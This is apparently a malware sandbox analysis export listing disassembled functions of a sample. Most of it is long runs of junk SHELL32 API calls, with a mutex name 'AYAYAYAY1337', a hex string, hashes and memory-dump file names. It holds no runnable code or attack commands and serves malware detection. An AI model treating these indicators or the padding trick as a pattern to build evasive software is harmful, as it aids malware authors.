PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A855
RealDriveType.SHELL32(DE669A88,00000000), ref: 0041A85E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A868
RealDriveType.SHELL32(45F1D8AD,00000000), ref: 0041A871
RealDriveType.SHELL32(6CB6B427,00000000), ref: 0041A87E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A888
RealDriveType.SHELL32(7A3BB2FF,00000000), ref: 0041A891
RealDriveType.SHELL32(916C9D90,00000000), ref: 0041A89E
RealDriveType.SHELL32(30391D21,00000000), ref: 0041A8AB
RealDriveType.SHELL32(2A4156A2,00000000), ref: 0041A8B8
RealDriveType.SHELL32(DDE36A8B,00000000), ref: 0041A8C5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A8CF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A8D5
RealDriveType.SHELL32(190FF6AE,00000000), ref: 0041A8DE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A8E8
RealDriveType.SHELL32(FE5FDC97,00000000), ref: 0041A8F1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A8FB
RealDriveType.SHELL32(B3F4B7E4,00000000), ref: 0041A904
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A90E
RealDriveType.SHELL32(9ECBE724,00000000), ref: 0041A917
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A921
RealDriveType.SHELL32(26E9F666,00000000), ref: 0041A92A
LocalAlloc.KERNELBASE(00000040,00000000), ref: 0041A93A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A946
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A950
RealDriveType.SHELL32(2C06BD58,00000000), ref: 0041A95D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A967
RealDriveType.SHELL32(A8F195F0,00000000), ref: 0041A974
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A97E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A988
RealDriveType.SHELL32(D2E3CE8F,00000000), ref: 0041A995
RealDriveType.SHELL32(F725B85E,00000000), ref: 0041A9A2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A9AC
RealDriveType.SHELL32(0241D9BF,00000000), ref: 0041A9B9
RealDriveType.SHELL32(F5F02C90,00000000), ref: 0041A9C6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A9D0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A9DA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A9E4
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A9EE
RealDriveType.SHELL32(7182F7BB,00000000), ref: 0041A9FB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AA05
RealDriveType.SHELL32(35B6D364,00000000), ref: 0041AA12
RealDriveType.SHELL32(EE61822E,00000000), ref: 0041AA1F
RealDriveType.SHELL32(DA9AB881,00000000), ref: 0041AA2C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AA36
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AA40
RealDriveType.SHELL32(0920CE1E,00000000), ref: 0041AA4D
RealDriveType.SHELL32(EE1CF908,00000000), ref: 0041AA5A
RealDriveType.SHELL32(19B480AA,00000000), ref: 0041AA67
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AA71
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AA7B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AA85
RealDriveType.SHELL32(63C528C9,00000000), ref: 0041AA92
RealDriveType.SHELL32(FE431C58,00000000), ref: 0041AA9F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AAA9
RealDriveType.SHELL32(A4C782AD,00000000), ref: 0041AAB6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AAC0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AACA
RealDriveType.SHELL32(9CAEDABF,00000000), ref: 0041AAD7
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,e2e6bd5da536d7ebd64fba220f16e00c,000000FF,00000000,00000000), ref: 0041AAEA
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AAF8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AAFE
RealDriveType.SHELL32(2EA55253,00000000), ref: 0041AB07
RealDriveType.SHELL32(635D852F,00000000), ref: 0041AB14
RealDriveType.SHELL32(0CD11EA8,00000000), ref: 0041AB21
RealDriveType.SHELL32(E6929C25,00000000), ref: 0041AB2E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AB38
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AB3E
RealDriveType.SHELL32(72A7A4A8,00000000), ref: 0041AB47
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AB51
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AB57
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AB5D
RealDriveType.SHELL32(D1FFF024,00000000), ref: 0041AB66
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AB70
RealDriveType.SHELL32(37195CFA,00000000), ref: 0041AB79
RealDriveType.SHELL32(0ED1378F,00000000), ref: 0041AB86
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AB90
RealDriveType.SHELL32(A4FFE292,00000000), ref: 0041AB99
RealDriveType.SHELL32(2C7D419C,00000000), ref: 0041ABA6
RealDriveType.SHELL32(432B5E62,00000000), ref: 0041ABB3
RealDriveType.SHELL32(AE64343E,00000000), ref: 0041ABC0
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ABCA
RealDriveType.SHELL32(622BBDC0,00000000), ref: 0041ABD3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ABDD
RealDriveType.SHELL32(97CA55FB,00000000), ref: 0041ABE6
RealDriveType.SHELL32(0F1AA929,00000000), ref: 0041ABF3
RealDriveType.SHELL32(87F178D4,00000000), ref: 0041AC00
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC0A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC10
RealDriveType.SHELL32(49AC393C,00000000), ref: 0041AC19
RealDriveType.SHELL32(2F927BA1,00000000), ref: 0041AC26
RealDriveType.SHELL32(1666C31C,00000000), ref: 0041AC33
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC3D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC43
RealDriveType.SHELL32(C8CFBF00,00000000), ref: 0041AC4C
RealDriveType.SHELL32(2EC3919C,00000000), ref: 0041AC59
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC69
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC6D
RealDriveType.SHELL32(4ED38FBB,00000000), ref: 0041AC7B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC81
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC87
RealDriveType.SHELL32(11F5E69A,00000000), ref: 0041AC90
RealDriveType.SHELL32(CE44B459,00000000), ref: 0041AC99
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AC9F
RealDriveType.SHELL32(9715B842,00000000), ref: 0041ACA8
RealDriveType.SHELL32(73D73BB5,00000000), ref: 0041ACB1
RealDriveType.SHELL32(8ED6E983,00000000), ref: 0041ACBA
RealDriveType.SHELL32(AC670C41,00000000), ref: 0041ACC3
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ACC9
RealDriveType.SHELL32(6230EA8E,00000000), ref: 0041ACD2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ACD8
RealDriveType.SHELL32(BF64652A,00000000), ref: 0041ACE1
RealDriveType.SHELL32(0CCD1FC3,00000000), ref: 0041ACEA
RealDriveType.SHELL32(D140B633,00000000), ref: 0041ACF3
RealDriveType.SHELL32(74534830,00000000), ref: 0041ACFC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD02
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD08
RealDriveType.SHELL32(A8C539A9,00000000), ref: 0041AD11
RealDriveType.SHELL32(C8D1B62F,00000000), ref: 0041AD1A
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD20
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD26
RealDriveType.SHELL32(027FEB4A,00000000), ref: 0041AD2F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD35
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD3B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD41
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD47
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD4D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD53
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD59
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD5F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AD65
RealDriveType.SHELL32(65D71A21,00000000), ref: 0041AD6E

Strings

e2e6bd5da536d7ebd64fba220f16e00c, xrefs: 0041A7B5, 0041AAE1

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DrivePathRealSlowType$AllocByteCharLocalMultiWidelstrlen
String ID: e2e6bd5da536d7ebd64fba220f16e00c
API String ID: 2802555067-676165741
Opcode ID: 871f9e7b079d0b3058a9c8b914a507d320db424fc94084a22a938481022f908a
Instruction ID: 758d8c1dcfaa4c1df73553646e4a6acc2694441f86d691a2088af80648057311
Opcode Fuzzy Hash: 871f9e7b079d0b3058a9c8b914a507d320db424fc94084a22a938481022f908a
Instruction Fuzzy Hash: CF0244317C43587BF1B03BE1AD4FF596E94AB44F56F610021F309AE1E18AE06446AA7F

Uniqueness

Uniqueness Score: -1.00%

Function 00416B78 Relevance: 320.8, APIs: 182, Strings: 1, Instructions: 565
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathIsSlowW.SHELL32(00000000,00000000), ref: 00416B85
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416B89
RealDriveType.SHELL32(2750E673,00000000), ref: 00416B97
RealDriveType.SHELL32(87CB6641,00000000), ref: 00416B9F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BA3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BA7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BAB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BAF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BB3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BB7
RealDriveType.SHELL32(C680BA98,00000000), ref: 00416BBF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BC3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BC7
RealDriveType.SHELL32(F15FF5B6,00000000), ref: 00416BCF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BD3
RealDriveType.SHELL32(B55DB755,00000000), ref: 00416BDB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416BDF
RealDriveType.SHELL32(B6FF086E,00000000), ref: 00416BE7
RealDriveType.SHELL32(835E954C,00000000), ref: 00416BEF
RealDriveType.SHELL32(D45263D6,00000000), ref: 00416BF7
RealDriveType.SHELL32(73EF657D,00000000), ref: 00416BFF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C03
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C07
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C0B
RealDriveType.SHELL32(028DD0EC,00000000), ref: 00416C13
RealDriveType.SHELL32(E3E9F2A6,00000000), ref: 00416C1B
RealDriveType.SHELL32(ECB46462,00000000), ref: 00416C23
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C27
RealDriveType.SHELL32(D8ED6C14,00000000), ref: 00416C2F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C33
RealDriveType.SHELL32(EB48F73D,00000000), ref: 00416C3B
RealDriveType.SHELL32(E0AEA685,00000000), ref: 00416C43
RealDriveType.SHELL32(73F5D1F7,00000000), ref: 00416C4B
RealDriveType.SHELL32(441B715A,00000000), ref: 00416C53
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C57
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C5B
RealDriveType.SHELL32(1AAF4BB2,00000000), ref: 00416C63
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C67
RealDriveType.SHELL32(705FD0A8,00000000), ref: 00416C6F
RealDriveType.SHELL32(65BB6950,00000000), ref: 00416C77
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C7B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C7F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C83
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C87
RealDriveType.SHELL32(28EDEDBF,00000000), ref: 00416C8F
RealDriveType.SHELL32(54FEA1FB,00000000), ref: 00416C97
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C9B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416C9F
RealDriveType.SHELL32(ED08855D,00000000), ref: 00416CA7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CAB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CAF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CB3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CB7
RealDriveType.SHELL32(B2382B23,00000000), ref: 00416CBF
RealDriveType.SHELL32(76A68C14,00000000), ref: 00416CC7
RealDriveType.SHELL32(306CD64B,00000000), ref: 00416CCF
RealDriveType.SHELL32(8B5732EF,00000000), ref: 00416CD7
RealDriveType.SHELL32(2325FA96,00000000), ref: 00416CDF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CE3
RealDriveType.SHELL32(32873C8F,00000000), ref: 00416CEB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CEF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CF3
RealDriveType.SHELL32(AB67C3BC,00000000), ref: 00416CFB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416CFF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416D03
RealDriveType.SHELL32(2D0BF3F7,00000000), ref: 00416D0B
RealDriveType.SHELL32(151505A6,00000000), ref: 00416D13
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416D17
RealDriveType.SHELL32(365CB591,00000000), ref: 00416D1F
RealDriveType.SHELL32(D92DA1B1,00000000), ref: 00416D27
RealDriveType.SHELL32(89D61F68,00000000), ref: 00416D2F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416D33
OpenMutexW.KERNEL32(001F0001,00000000,AYAYAYAY1337), ref: 00416D40
RealDriveType.SHELL32(27D859C4,00000000), ref: 00416D4F
RealDriveType.SHELL32(7AE9E492,00000000), ref: 00416D58
RealDriveType.SHELL32(AD451131,00000000), ref: 00416D61
RealDriveType.SHELL32(853ED606,00000000), ref: 00416D6A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416D70
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416D76
RealDriveType.SHELL32(FC169A3C,00000000), ref: 00416D7F
RealDriveType.SHELL32(E46ABF6F,00000000), ref: 00416D88
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416D8E
RealDriveType.SHELL32(9AF02944,00000000), ref: 00416D97
RealDriveType.SHELL32(E10D1672,00000000), ref: 00416DA0
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416DA6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416DAC
RealDriveType.SHELL32(94AFDA50,00000000), ref: 00416DB5
RealDriveType.SHELL32(4FDAC2C3,00000000), ref: 00416DBE
RealDriveType.SHELL32(D7DE05E4,00000000), ref: 00416DC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416DCD
RealDriveType.SHELL32(6E124BD0,00000000), ref: 00416DD6
RealDriveType.SHELL32(2C124745,00000000), ref: 00416DDF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416DE5
RealDriveType.SHELL32(AF7C895E,00000000), ref: 00416DEE
RealDriveType.SHELL32(237BC565,00000000), ref: 00416DF7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416DFD
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E03
RealDriveType.SHELL32(4BF3ECBD,00000000), ref: 00416E0C
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E12
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E18
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E1E
RealDriveType.SHELL32(ACBE82AE,00000000), ref: 00416E27
RealDriveType.SHELL32(55E7CA5A,00000000), ref: 00416E30
RealDriveType.SHELL32(155988B3,00000000), ref: 00416E39
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E3F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E45
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E4B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E51
RealDriveType.SHELL32(528E011D,00000000), ref: 00416E5A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E66
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E6A
RealDriveType.SHELL32(FEC94E9F,00000000), ref: 00416E72
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E76
RealDriveType.SHELL32(2B1FE309,00000000), ref: 00416E7E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416E82
RealDriveType.SHELL32(19141CFC,00000000), ref: 00416E8A
RealDriveType.SHELL32(07F43B3A,00000000), ref: 00416E92
RealDriveType.SHELL32(085ADEEF,00000000), ref: 00416E9A
RealDriveType.SHELL32(1C3E1A34,00000000), ref: 00416EA2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416EA6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416EAA
RealDriveType.SHELL32(FDC45D2B,00000000), ref: 00416EB2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416EB6
RealDriveType.SHELL32(1CBCD77A,00000000), ref: 00416EBE
RealDriveType.SHELL32(C21B97AA,00000000), ref: 00416EC6
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416ECA
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416ECE
RealDriveType.SHELL32(32943469,00000000), ref: 00416ED6
RealDriveType.SHELL32(2E36EA3F,00000000), ref: 00416EDE
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416EE2
RealDriveType.SHELL32(85660248,00000000), ref: 00416EEA
RealDriveType.SHELL32(45466610,00000000), ref: 00416EF2
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416EF6
RealDriveType.SHELL32(3141ED84,00000000), ref: 00416EFE
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F02
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F06
RealDriveType.SHELL32(16F6E308,00000000), ref: 00416F0E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F12
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F16
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F1A
RealDriveType.SHELL32(7A6A9052,00000000), ref: 00416F22
RealDriveType.SHELL32(8C70B4AF,00000000), ref: 00416F2A
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F2E
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F32
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F36
CreateMutexW.KERNELBASE(00000000,00000000,AYAYAYAY1337), ref: 00416F3F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F47
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F4B
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F4F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F53
RealDriveType.SHELL32(4BF2B23E,00000000), ref: 00416F5B
RealDriveType.SHELL32(782AA763,00000000), ref: 00416F63
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F67
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F6B
RealDriveType.SHELL32(72CF7E35,00000000), ref: 00416F73
RealDriveType.SHELL32(D4A4B5C3,00000000), ref: 00416F7B
RealDriveType.SHELL32(CBF006E9,00000000), ref: 00416F83
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416F87
RealDriveType.SHELL32(36F53690,00000000), ref: 00416F8F
RealDriveType.SHELL32(4C00D4D2,00000000), ref: 00416F97
RealDriveType.SHELL32(B8C68816,00000000), ref: 00416F9F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FA3
RealDriveType.SHELL32(F6E0FA76,00000000), ref: 00416FAB
RealDriveType.SHELL32(C3638789,00000000), ref: 00416FB3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FB7
RealDriveType.SHELL32(8B1BA5E8,00000000), ref: 00416FBF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FC3
RealDriveType.SHELL32(A325D892,00000000), ref: 00416FCB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FCF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FD3
RealDriveType.SHELL32(5C2D137C,00000000), ref: 00416FDB
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FDF
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FE3
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FE7
RealDriveType.SHELL32(F14B7503,00000000), ref: 00416FEF
RealDriveType.SHELL32(71D9343C,00000000), ref: 00416FF7
PathIsSlowW.SHELL32(00000000,00000000), ref: 00416FFB
RealDriveType.SHELL32(0D65BC37,00000000), ref: 00417003
RealDriveType.SHELL32(776519C3,00000000), ref: 0041700B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041700F
PathIsSlowW.SHELL32(00000000,00000000), ref: 00417013
RealDriveType.SHELL32(FD526F53,00000000), ref: 0041701B

Strings

AYAYAYAY1337, xrefs: 00416D35, 00416F38

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DrivePathRealSlowType$Mutex$CreateOpen
String ID: AYAYAYAY1337
API String ID: 1696229020-4235746228
Opcode ID: de890cf36db0710c3c5996669386645fc2298420c1362d70b8ee28b60b7cd1fc
Instruction ID: 9a035bcd71d871eda6838d7c1cf24c3df1ee426955055181a5043b96ffe38929
Opcode Fuzzy Hash: de890cf36db0710c3c5996669386645fc2298420c1362d70b8ee28b60b7cd1fc
Instruction Fuzzy Hash: 5CB1D325287AB979E47237B74C8EFEF1D4CCFC76E9F520404F658590814A889A02C8FE

Uniqueness

Uniqueness Score: -1.00%

Function 0041AD76 Relevance: 276.6, APIs: 184, Instructions: 582
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AEA4
RealDriveType.SHELL32(273488AB,00000000), ref: 0041AEAD
RealDriveType.SHELL32(EC61A23F,00000000), ref: 0041AEBA
RealDriveType.SHELL32(B3DAA166,00000000), ref: 0041AEC7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED1
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AED7
RealDriveType.SHELL32(D938E356,00000000), ref: 0041AEE0
lstrlenW.KERNEL32(00000000,?,00413AB2), ref: 0041AEE7
lstrlenW.KERNEL32(?,?,00413AB2), ref: 0041AEF0
RealDriveType.SHELL32(070D2202,00000000), ref: 0041AF02
RealDriveType.SHELL32(1B94926A,00000000), ref: 0041AF0F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF19
RealDriveType.SHELL32(C8C42F5E,00000000), ref: 0041AF22
RealDriveType.SHELL32(D76050E1,00000000), ref: 0041AF2F
RealDriveType.SHELL32(1B837923,00000000), ref: 0041AF3C
RealDriveType.SHELL32(9064BFC7,00000000), ref: 0041AF49
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF53
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF59
RealDriveType.SHELL32(AFE6E195,00000000), ref: 0041AF62
RealDriveType.SHELL32(3CCCC8AD,00000000), ref: 0041AF6F
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF79
RealDriveType.SHELL32(49AB8BAF,00000000), ref: 0041AF82
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AF8C
RealDriveType.SHELL32(49B60F98,00000000), ref: 0041AF95
RealDriveType.SHELL32(05950617,00000000), ref: 0041AFA2
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFAC
RealDriveType.SHELL32(469C9C40,00000000), ref: 0041AFB5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFBF
RealDriveType.SHELL32(429F1FBD,00000000), ref: 0041AFC8
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFD2
RealDriveType.SHELL32(DE0C8199,00000000), ref: 0041AFDB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFE5
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFEB
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AFF1
RealDriveType.SHELL32(E995579D,00000000), ref: 0041AFFA
RealDriveType.SHELL32(84B4EFE9,00000000), ref: 0041B007
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B011
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B017
RealDriveType.SHELL32(69DD92CF,00000000), ref: 0041B020
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B02A
RealDriveType.SHELL32(D60D9783,00000000), ref: 0041B033
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B03D
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B043
RealDriveType.SHELL32(D524453E,00000000), ref: 0041B04C
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B056
LocalAlloc.KERNELBASE(00000040,00000000,?,?,00413AB2), ref: 0041B05E
RealDriveType.SHELL32(95C49318,00000000), ref: 0041B079
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B083
RealDriveType.SHELL32(1DCFFBF4,00000000), ref: 0041B090
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B09A
RealDriveType.SHELL32(9C735FFF,00000000), ref: 0041B0A7
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0B1
RealDriveType.SHELL32(68C482AD,00000000), ref: 0041B0BE
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0C8
RealDriveType.SHELL32(691D272A,00000000), ref: 0041B0D5
RealDriveType.SHELL32(DBDB247C,00000000), ref: 0041B0E2
RealDriveType.SHELL32(89A7247D,00000000), ref: 0041B0EF
PathIsSlowW.SHELL32(00000000,00000000), ref: 0041B0F9
RealDriveType.SHELL32(7BCCF2AA,00000000), ref: 0041B106
